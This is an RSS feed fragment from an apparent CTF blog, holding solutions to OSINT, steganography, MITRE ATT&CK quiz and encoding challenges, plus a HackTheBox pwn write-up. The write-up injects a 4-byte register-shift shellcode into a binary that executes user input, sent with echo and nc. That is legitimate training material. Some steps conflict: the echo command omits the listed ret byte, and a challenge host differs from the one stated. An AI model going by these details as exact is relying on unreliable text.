&lt;li&gt;the hint mentions a scenic spot named &lt;strong&gt;“point of …”&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Searching on Google Maps for scenic spots around &lt;strong&gt;Carthage&lt;/strong&gt; leads to:&lt;/p&gt;
&lt;p&gt;✅ &lt;strong&gt;Point of Carthage by the sea&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This matches the hint and fits the “sea once ruled” theme (Carthage’s historical naval power).&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 2 — Convert the spot to what3words&lt;/h3&gt;
&lt;p&gt;The challenge says the flag is the place where the picture is taken &lt;strong&gt;but not exactly&lt;/strong&gt;, meaning:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;we should use a &lt;em&gt;nearby exact 3m x 3m square&lt;/em&gt; instead of a general pin.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Go to: https://what3words.com/&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Make sure the language is set to English&lt;/strong&gt; (important, because words change with language).
&lt;img src=&quot;https://xdu00.github.io/_astro/what3wordsenglish.Doz6HtVd_Z16hx4W.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Search for &lt;strong&gt;Point of Carthage by the sea&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click the correct square near the scenic spot marker.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The selected square gives:&amp;lt;br/&amp;gt;
✅ &lt;code&gt;hush.washed.stunning&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/what3words.Bq30fp5b_1QxRfV.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/h2&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{hush.washed.stunning}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: any valid what3words square &lt;strong&gt;on the exact Point of Carthage by the sea area&lt;/strong&gt; can be accepted .&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;Steganography&lt;/h1&gt;
&lt;h2&gt;ما دڨليش بوناني (150 pts)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/stegano.Dq2UPvLC_1ECuLw.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; The sound may seem normal, but its very deep inside.&lt;br /&gt;
Can you extract the secret and recover the flag?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; Use a steganography tool&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Extract the hidden data embedded inside the provided audio file and recover the flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;h4&gt;1) Open the audio in DeepSound&lt;/h4&gt;
&lt;p&gt;DeepSound is a common audio-steganography tool that can detect and extract embedded files from &lt;code&gt;.wav&lt;/code&gt;/audio containers.
&lt;img src=&quot;https://xdu00.github.io/_astro/deepsound.B12cxPR8_Z67CR3.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Launch &lt;strong&gt;DeepSound&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Open Carrier File&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select the provided audio file&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DeepSound detects that the audio contains an embedded payload.&lt;/p&gt;
&lt;h4&gt;2) Extract the hidden file&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Extract Secret Files&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Choose an output folder&lt;/li&gt;
&lt;li&gt;Extract the embedded content
&lt;img src=&quot;https://xdu00.github.io/_astro/deepsounduse.BZcX5ewk_Z2v1xao.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The tool outputs a file named:&lt;/p&gt;
&lt;p&gt;✅ &lt;code&gt;flag.txt&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;3) Read the flag&lt;/h4&gt;
&lt;p&gt;Open &lt;code&gt;flag.txt&lt;/code&gt; and copy the content inside.&lt;/p&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{H1dd3N_1n_AUd10}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;MISC&lt;/h1&gt;
&lt;h2&gt;Arcane🚪 (270 pts)&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; ArcaneDoor is a 2024 cyber espionage campaign targeting network perimeter devices. The attackers deployed custom implants on Cisco appliances, enabling long-term persistence and covert command execution. Refer to the MITRE ATT&amp;amp;CK framework to answer the following questions and obtain the flag.&lt;br /&gt;
&lt;strong&gt;Service:&lt;/strong&gt; &lt;code&gt;nc 4.tcp.eu.ngrok.io 15799&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Connect to the remote service and answer a sequence of MITRE ATT&amp;amp;CK questions about the &lt;strong&gt;ArcaneDoor&lt;/strong&gt; campaign.After all correct answers, the service returns the flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1 — Connect to the service&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nc 4.tcp.eu.ngrok.io 15799
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll be prompted with multiple questions.
you will find everything you need here : &lt;a href=&quot;https://attack.mitre.org/campaigns/C0046/&quot;&gt;mitre att&amp;amp;ck&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(duo㉿xDU0)-[~]
└─$ nc 0.tcp.eu.ngrok.io 12955
[+] NOTE: You have 3 attempts on each question before the connection is closed! GL HF
==============================================================================
What is one of the alternative names used by Microsoft for the group behind this campaign?
=&amp;gt; STORM-1849
[+] Correct!
What is the Cisco Talos tracking name for the threat actor group?
=&amp;gt; UAT4356
[+] Correct!
In which month and year was the campaign first observed? (month year)
=&amp;gt; July 2023
[+] Correct!
Until which month and year was activity from this campaign observed? (month year)
=&amp;gt; April 2024
[+] Correct!
Which technique ID corresponds to &apos;Exploit Public-Facing Application&apos; used for initial access?
=&amp;gt; T1190
[+] Correct!
Which technique ID was used for &apos;Process Injection&apos; (into AAA and Crash Dump processes)?
=&amp;gt; T1055
[+] Correct!
Which technique ID describes the use of &apos;Network Sniffing&apos; / packet capture for data collection?
=&amp;gt; T1040
[+] Correct!
Which technique ID corresponds to &apos;Command and Control&apos; conducted through HTTP?
=&amp;gt; T1071.001
[+] Correct!
Which technique ID was used for &apos;Disabling logging&apos; on the targeted Cisco ASA appliances?
=&amp;gt; T1562.003
[+] Correct!
Which technique ID describes &apos;Masquerading&apos; using digital certificates that mimic Cisco ASA formatting?
=&amp;gt; T1036
[+] Correct!
What was the product or solution that was targeted by the group?
=&amp;gt; Cisco ASA
[+] Correct!
What CVE is attributed to the vulnerability that was abused? (CVE-YYYY-NNNN)
=&amp;gt; CVE-2024-20353
[+] Correct!
What&apos;s the software ID of the malware used as the primary backdoor?
=&amp;gt; S1188
[+] Correct!
What was the malware&apos;s name during the campaign?
=&amp;gt; Line Runner
[+] Correct!
What&apos;s the software ID of the secondary malware used for persistence?
=&amp;gt; S1186
[+] Correct!
What was the malware&apos;s name during the campaign?
=&amp;gt; Line Dancer
[+] Correct!
Which protocol was used by the group for command and control?
=&amp;gt; HTTPS
[+] Correct!

securinetsisgt{Arc4n3D00r_C1sc0_1mpl4nts_M1Tr3}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{Arc4n3D00r_C1sc0_1mpl4nts_M1Tr3}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Encoding&lt;/h1&gt;
&lt;h2&gt;Hex Marks the Spot (100 pts)&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Every two characters represent something meaningful. Decode the message.&lt;br /&gt;
&lt;strong&gt;Given:&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;115 101 99 117 114 105 110 101 116 115 105 115 103 116 123 72 51 88 95 77 51 83 83 52 71 51 125&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Author:&lt;/strong&gt; xDU0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Goal&lt;/h3&gt;
&lt;p&gt;Decode the sequence into the flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Decoding using &lt;a href=&quot;https://www.dcode.fr/&quot;&gt;dCode.fr&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Use the cipher detector
Go to &lt;strong&gt;dCode.fr&lt;/strong&gt; and open the &lt;strong&gt;cipher detector&lt;/strong&gt; (Détecteur de codes).
&lt;img src=&quot;https://xdu00.github.io/_astro/dcode.GTNv5bQf_2ehfim.webp&quot; alt=&quot;alt text&quot; /&gt;
Paste the encoded message
Click &lt;strong&gt;Analyser&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The detector suggests &lt;strong&gt;Code ASCII&lt;/strong&gt; as the most likely encoding.
&lt;img src=&quot;https://xdu00.github.io/_astro/detectiing.BVEj7zGc_1IkmD4.webp&quot; alt=&quot;alt text&quot; /&gt;
2. Decode using ASCII tool
Open the &lt;strong&gt;Code ASCII&lt;/strong&gt; tool (still on dCode), paste the same numbers, and click &lt;strong&gt;Déchiffrer/Convertir ASCII&lt;/strong&gt;.
&lt;img src=&quot;https://xdu00.github.io/_astro/dcoded.B8NZSagJ_Z1BG2XB.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Decoding using &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;CyberChef&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Open &lt;strong&gt;CyberChef&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Paste the encoded numbers into the &lt;strong&gt;Input&lt;/strong&gt; box:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;From the left sidebar, search for &lt;strong&gt;Magic&lt;/strong&gt; and drag it into the &lt;strong&gt;Recipe&lt;/strong&gt; panel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click &lt;strong&gt;Bake!&lt;/strong&gt; (or keep Auto Bake enabled).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;CyberChef will automatically detect the best decoding chain and suggest a recipe like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;From Decimal(&apos;Space&apos;, false)&lt;/code&gt;
&lt;img src=&quot;https://xdu00.github.io/_astro/cyberchef.DNopsrTA_Z1VSc8M.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;securinetsisgt{H3X_M3SS4G3}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Final words&lt;/h1&gt;
&lt;p&gt;To all Securinets ISGT members: thank you for the energy, the teamwork, and the late-night grind.&lt;br /&gt;
Every solved challenge is a small win, but the real achievement is the mindset you build: analysis, patience, and resilience.&lt;/p&gt;
&lt;p&gt;Keep hacking ethically, keep sharing knowledge, and keep pushing each other upward.&lt;br /&gt;
This is only the beginning. 🚀&lt;/p&gt;
</content:encoded></item><item><title>University CTF 2025 - Tinsel Trouble</title><link>https://xdu00.github.io/posts/htb-university-ctf-2025---pwn-1-writeup-copy/</link><guid isPermaLink="true">https://xdu00.github.io/posts/htb-university-ctf-2025---pwn-1-writeup-copy/</guid><description>Writeup of challenges from HackTheBox University CTF 2025.</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Challenge Name:&lt;/strong&gt; &lt;code&gt;SHL33T&lt;/code&gt;&amp;lt;br&amp;gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; PWN&amp;lt;br&amp;gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; very easy&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The mischievous elves have tampered with Nibbletop’s registers most notably the EBX register and now he’s stuck, unable to continue delivering Christmas gifts. Can you step in, restore his register, and save Christmas once again for everyone?&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Initial Analysis&lt;/h2&gt;
&lt;p&gt;The challenge provides a vulnerable binary &lt;code&gt;shl33t&lt;/code&gt; where the EBX register has been modified incorrectly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ file shl33t
shl33t: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d6bd527d1e1ffe23cd8cde17a97cf771c50738e7, for GNU/Linux 3.2.0, not stripped
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;64-bit ELF:&lt;/strong&gt; We&apos;re dealing with x86-64 architecture.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PIE executable:&lt;/strong&gt; Addresses are randomized.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dynamically linked:&lt;/strong&gt; Uses shared libraries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not stripped:&lt;/strong&gt; Debug symbols are present.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(duo㉿xDU0)-[~]
└─$ nc 154.57.164.67 30831

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⣤⣤⣤⣤⣤⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠟⠛⠋⠉⠉⠉⠉⠉⠉⠉⠉⠙⠛⠳⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠏⠀⠀⠀⠀⠀⢾⣦⣄⣀⡀⣀⣠⣤⡶⠟⠀⠀⠀⠀⠀⠀⠈⠻⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣴⡿⠃⠀⣶⠶⠶⠶⠶⣶⣬⣉⠉⠉⠉⢉⣡⣴⡶⠞⠛⠛⠷⢶⡆⠀⠀⠈⢿⠶⠖⠚⠛⠷⠶⢶⣶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣠⣴⡾⠛⠋⠉⡉⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⡀⠉⠙⠛⠛⠛⠛⠉⠀⠀⢀⣤⣭⣤⣀⠀⠀⠀⠀⠈⠀⠀⢀⣴⣶⣶⣦⣤⣌⡉⠛⢷⣦⣄⠀⠀⠀⠀⠀⠀
⠀⠀⢠⣶⠟⠋⣀⣤⣶⠾⠿⣶⡀⠀⠀⠀⣴⡟⢋⣿⣤⡉⠻⣦⠀⠀⠀⠀⠀⠀⢀⣾⠟⢩⣿⣉⠛⣷⣄⠀⠀⠀⠀⢰⡿⠑⠀⠀⠀⠈⠉⠛⠻⣦⣌⠙⢿⣦⠀⠀⠀⠀
⠀⣴⡟⠁⣰⡾⠛⠉⠀⠀⠀⢻⣇⡀⠀⢸⣿⠀⣿⠋⠉⣿⠀⢻⡆⠀⠀⠀⠀⠀⣾⡇⢰⡟⠉⢻⣧⠘⣿⠀⠀⠀⠀⣼⠇⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⡇⠀⠙⢷⣆⠀
⢰⡟⠀⢼⡏⠀⠀⠀⠀⠀⠀⠈⠛⠛⠀⠈⢿⣆⠙⠷⠾⠛⣠⣿⠁⠀⠀⠀⠀⠀⠹⣧⡈⠿⣶⠾⠋⣼⡟⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠶⠶⣶⣤⣌⡻⣧⡀
⢸⣧⣯⣬⣥⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠿⢶⡶⠾⠛⠁⠀⠀⠀⠀⠀⠀⠀⠙⠻⢶⣶⣶⠿⠋⠀⠀⠀⠰⣼⡏⠀⠀⠀⠀⠀⠀⢠⣾⠏⠀⠀⠀⠀⠈⠉⠛⠛⠃
⠀⠀⠀⠈⠉⠉⠉⠛⠿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⣲⣖⣠⣶⣶⣶⠀⠀⠀⠀⣀⣤⣤⡂⡀⠀⠀⠀⠀⠀⠀⠀⢸⠟⠀⠀⠀⠀⠀⢀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⠀⠀⠀⠀⢠⣾⠋⠁⢿⣇⠀⠀⠀⠀⠀⠀⢙⠉⣹⡇⠻⠷⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣤⣀⡀⠘⠟⠃⠀⠈⢙⣷⡄⠀⠀⠀⣠⣶⠿⠋⠁⠀⠀⠀⠙⣿⠀⠀⢠⣤⣤⣶⠶⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⣿⡄⠀⠀⠀⠀⠀⢸⣿⠀⠀⢰⡿⠁⠀⠀⠀⠀⠀⠀⣠⡿⠀⢠⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣄⠀⠀⠀⠀⠀⢻⣧⣠⡿⠁⠀⠀⠀⠀⠀⠀⠀⠉⠁⣴⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣆⠀⢿⣦⡀⠀⠉⠉⠀⠀⠀⠀⠀⣀⣄⠀⠀⢠⣾⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣧⡀⠙⠻⢷⣦⣄⣀⣤⣤⣶⠾⠛⠁⢀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣷⣄⡀⠀⠀⠀⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⠷⠶⠶⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


[Nibbletop] These elves are playing with me again, look at this mess: ebx = 0x00001337

[Nibbletop] It should be ebx = 0x13370000 instead!

[Nibbletop] Please fix it kind human! SHLeet the registers!

$ nnn

[Nibbletop] ARE YOU MOCKING ME WITH THE ELVES?!
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;From the decompiled code, the key points are:&lt;/h3&gt;
&lt;p&gt;The challenge name &lt;code&gt;shl33t&lt;/code&gt; gives us our first clue:&lt;/p&gt;
&lt;p&gt;SHL refers to the x86 assembly &lt;code&gt;Shift Left&lt;/code&gt; instruction&lt;/p&gt;
&lt;p&gt;We need to &lt;code&gt;shift left&lt;/code&gt; the value 1337&lt;/p&gt;
&lt;p&gt;The initial value of EBX is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x00001337
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The expected value is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x13370000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This transformation can be achieved by shifting the register left by 16 bits:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x00001337 &amp;lt;&amp;lt; 16 = 0x13370000
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Disassembly Analysis&lt;/h2&gt;
&lt;p&gt;Let&apos;s examine the key parts of the disassembled main function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;──(duo㉿xDU0)-[]
└─$ objdump -d shl33t | grep -A 50 &quot;&amp;lt;main&amp;gt;:&quot;
0000000000001988 &amp;lt;main&amp;gt;:
    1988:       f3 0f 1e fa             endbr64
    198c:       55                      push   %rbp
    198d:       48 89 e5                mov    %rsp,%rbp
    1990:       53                      push   %rbx
    1991:       48 83 ec 38             sub    $0x38,%rsp
    1995:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    199c:       00 00
    199e:       48 89 45 e8             mov    %rax,-0x18(%rbp)
    19a2:       31 c0                   xor    %eax,%eax
    19a4:       e8 53 ff ff ff          call   18fc &amp;lt;banner&amp;gt;
    19a9:       48 8d 05 9c ff ff ff    lea    -0x64(%rip),%rax        # 194c &amp;lt;handler&amp;gt;
    19b0:       48 89 c6                mov    %rax,%rsi
    19b3:       bf 0b 00 00 00          mov    $0xb,%edi
    19b8:       e8 33 f8 ff ff          call   11f0 &amp;lt;signal@plt&amp;gt;
    19bd:       48 8d 05 88 ff ff ff    lea    -0x78(%rip),%rax        # 194c &amp;lt;handler&amp;gt;
    19c4:       48 89 c6                mov    %rax,%rsi
    19c7:       bf 04 00 00 00          mov    $0x4,%edi
    19cc:       e8 1f f8 ff ff          call   11f0 &amp;lt;signal@plt&amp;gt;
    19d1:       bb 37 13 00 00          mov    $0x1337,%ebx
    19d6:       48 8d 05 7b 14 00 00    lea    0x147b(%rip),%rax        # 2e58 &amp;lt;_IO_stdin_used+0xe58&amp;gt;
    19dd:       48 89 c7                mov    %rax,%rdi
    19e0:       b8 00 00 00 00          mov    $0x0,%eax
    19e5:       e8 d8 f9 ff ff          call   13c2 &amp;lt;info&amp;gt;
    19ea:       48 8d 05 b7 14 00 00    lea    0x14b7(%rip),%rax        # 2ea8 &amp;lt;_IO_stdin_used+0xea8&amp;gt;
    19f1:       48 89 c7                mov    %rax,%rdi
    19f4:       b8 00 00 00 00          mov    $0x0,%eax
    19f9:       e8 c4 f9 ff ff          call   13c2 &amp;lt;info&amp;gt;
    19fe:       48 8d 05 cb 14 00 00    lea    0x14cb(%rip),%rax        # 2ed0 &amp;lt;_IO_stdin_used+0xed0&amp;gt;
    1a05:       48 89 c7                mov    %rax,%rdi
    1a08:       b8 00 00 00 00          mov    $0x0,%eax
    1a0d:       e8 b0 f9 ff ff          call   13c2 &amp;lt;info&amp;gt;
    1a12:       41 b9 00 00 00 00       mov    $0x0,%r9d
    1a18:       41 b8 ff ff ff ff       mov    $0xffffffff,%r8d
    1a1e:       b9 22 00 00 00          mov    $0x22,%ecx
    1a23:       ba 07 00 00 00          mov    $0x7,%edx
    1a28:       be 00 10 00 00          mov    $0x1000,%esi
    1a2d:       bf 00 00 00 00          mov    $0x0,%edi
    1a32:       e8 69 f7 ff ff          call   11a0 &amp;lt;mmap@plt&amp;gt;
    1a37:       48 89 45 d0             mov    %rax,-0x30(%rbp)
    1a3b:       48 83 7d d0 ff          cmpq   $0xffffffffffffffff,-0x30(%rbp)
    1a40:       75 19                   jne    1a5b &amp;lt;main+0xd3&amp;gt;
    1a42:       48 8d 05 bb 14 00 00    lea    0x14bb(%rip),%rax        # 2f04 &amp;lt;_IO_stdin_used+0xf04&amp;gt;
    1a49:       48 89 c7                mov    %rax,%rdi
    1a4c:       e8 cf f7 ff ff          call   1220 &amp;lt;perror@plt&amp;gt;
    1a51:       bf 01 00 00 00          mov    $0x1,%edi
    1a56:       e8 e5 f7 ff ff          call   1240 &amp;lt;exit@plt&amp;gt;
    1a5b:       48 8b 45 d0             mov    -0x30(%rbp),%rax
    1a5f:       ba 04 00 00 00          mov    $0x4,%edx
    1a64:       48 89 c6                mov    %rax,%rsi
    1a67:       bf 00 00 00 00          mov    $0x0,%edi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The main function performs the following actions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Initializes EBX with the value &lt;code&gt;0x1337&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Allocates RWX memory using &lt;code&gt;mmap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Reads 4 bytes of user input&lt;/li&gt;
&lt;li&gt;Executes the input as shellcode&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The program is vulnerable due to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RWX memory allocation&lt;/li&gt;
&lt;li&gt;User-controlled input&lt;/li&gt;
&lt;li&gt;Direct execution without validation&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;No need to dig deeper, all we gotta do is change the value for the register &lt;code&gt;ebx&lt;/code&gt; from &lt;code&gt;0x00001337&lt;/code&gt; to &lt;code&gt;0x13370000&lt;/code&gt; using shellcode.&amp;lt;br&amp;gt;
My first instinct was something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ebx, 0x13370000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But then i realized that the input size is only 4 bytes, instead we can just shift the value by 16 bits to the left and then return.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shl ebx, 16
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Shellcode&lt;/h2&gt;
&lt;p&gt;Machine code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 E3 10 C3
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;echo -ne &quot;\xC1\xE3\x10&quot; | nc 154.57.164.67 30831
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HTB{sh1ft_2_th3_l3ft_sh1ft_2_th3_right_deb9dab93d244e694e4432c4d8db6862}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;img src=&quot;https://xdu00.github.io/_astro/skibdi.DsPPFCOQ_2aoWyo.webp&quot; alt=&quot;alt text&quot; /&gt;&lt;/h2&gt;
</content:encoded></item></channel></rss>